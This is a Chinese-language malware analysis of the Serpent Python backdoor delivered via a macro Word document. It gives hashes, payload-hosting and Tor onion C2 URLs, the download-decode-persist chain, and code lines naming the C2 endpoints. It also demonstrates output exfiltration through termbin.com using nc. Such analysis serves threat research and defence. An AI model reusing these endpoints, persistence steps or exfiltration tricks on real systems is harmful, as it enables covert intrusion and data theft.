Serpent
Serpent 样本分析
样本信息
Serpent
是一个用Python
编写的后门,用于攻击法国建筑、房地产和政府行业的实体。
IOC
类别 | 特征值 |
---|---|
SHA256 | 8912f7255b8f091e90083e584709cf0c69a9b55e09587f5927c9ac39447d6a19 |
SHA1 | 2d6f1ed1236727b36a92dd44cd987c36d6fb7e35 |
MD5 | 321e04294c04db10d5dbf05051e540e2 |
样本分析
样本信息
本次分析的是一个docm
文档,其中包含了恶意宏病毒:
恶意宏分析
通过查看,执行宏后会首先对以下两个网站进行访问:
https://www.fhccu.com/images/ship3.jpg
http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd.onion.pet/index.html
将https://www.fhccu.com/images/ship3.jpg
文件流保存到本地c:\users\public\pic.jpg
将c:\users\public\pic.jpg
内容部分提取到c:\users\public\picb64.txt
中
通过base64
解码c:\users\public\picb64.txt
,将内容写入到新文件%USERPROFILE%\desktop\Microsoft_Office_Word_Update-20220201-fr.bat
中,并执行:
执行代码获取流程分析
在图片pic.jpg
的末尾处,可以提取出picb64.txt
的内容:
将提取的字符串通过base64
解码,获取了.bat
的内容:
powershell 命令分析
从bat
脚本中的执行命令可以看出,其中包含了两段关键指令:恶意脚本下载、完成后连接请求
恶意脚本下载部分由三个步骤实现:安装执行环境、本地化恶意脚本、持久化恶意脚本
安装执行环境时,首先下载chocolatey
,再由chocolatey
安装python3
,最后pip
安装必要运行库requests
、pysocks
:
本地化恶意脚本,则是从https://www.fhccu.com/images/7.jpg
下载恶意脚本,进行base64
解码,保存到%userprofile%\searches\MicrosoftSecurityUpdate.py
中:
持久化恶意脚本,则是将启动命令保存到%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftSecurityUpdate.bat
中,达到开机自启动的效果:
当一切执行完毕后,将请求一次http://shorturl.at/qzES8
。
恶意脚本分析
首先将https://www.fhccu.com/images/7.jpg
下载到本地,可以看到其中包含了一段base64
编码的数据:
将内容提取出来,并进行解码:
好家伙,套娃开始了,再解一次获得了Serpent
的脚本代码:
从主循环开始看起,执行后首先休眠,然后尝试调用get_cmd
函数,将返回值作为输入参数再调用run_cmd
函数:
整体设计逻辑很简单,一个作为命令输入,一个作为命令执行,在函数顶端,分别指定了两个tor
链接,一个是用于命令输入的,另一个适用于执行结果获取的
cmd_url_order = 'http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd.onion.pet/index.html'
cmd_url_answer = 'http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid.onion.pet/index.html'
作者在设计命令执行及结果获取时,采用了一种巧妙的办法,利用subprocess.Popen
执行命令,stdout
获取执行结果,再将执行结果发送到termbin.com
,把返回链接添加到headers
标签,发送到http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid.onion.pet/index.html
:
为什么很巧妙,这里就要介绍一下termbin了,这是一个将文本转换为url
的网站,你可以通过在终端上敲击echo just testing! | nc termbin.com 9999
命令,将just testing!
保存到termbin.com
站点上,而命令敲击后,将会返回一条链接,访问该链接即可获取文本字符串信息,作者正是使用了这种方式,不通过交互式对话直接来获取命令执行结果,逃避流量监测:
[user@localhost: ~]$ echo just testing! | nc termbin.com 9999
http://termbin.com/ktkf
[user@localhost: ~]$ curl http://termbin.com/ktkf
just testing!
参考资料
https://blogs.vmware.com/security/2022/04/serpent-the-backdoor-that-hides-in-plain-sight.html https://app.any.run/tasks/2788c24d-24f8-4b7c-8b50-69ca6ea41407/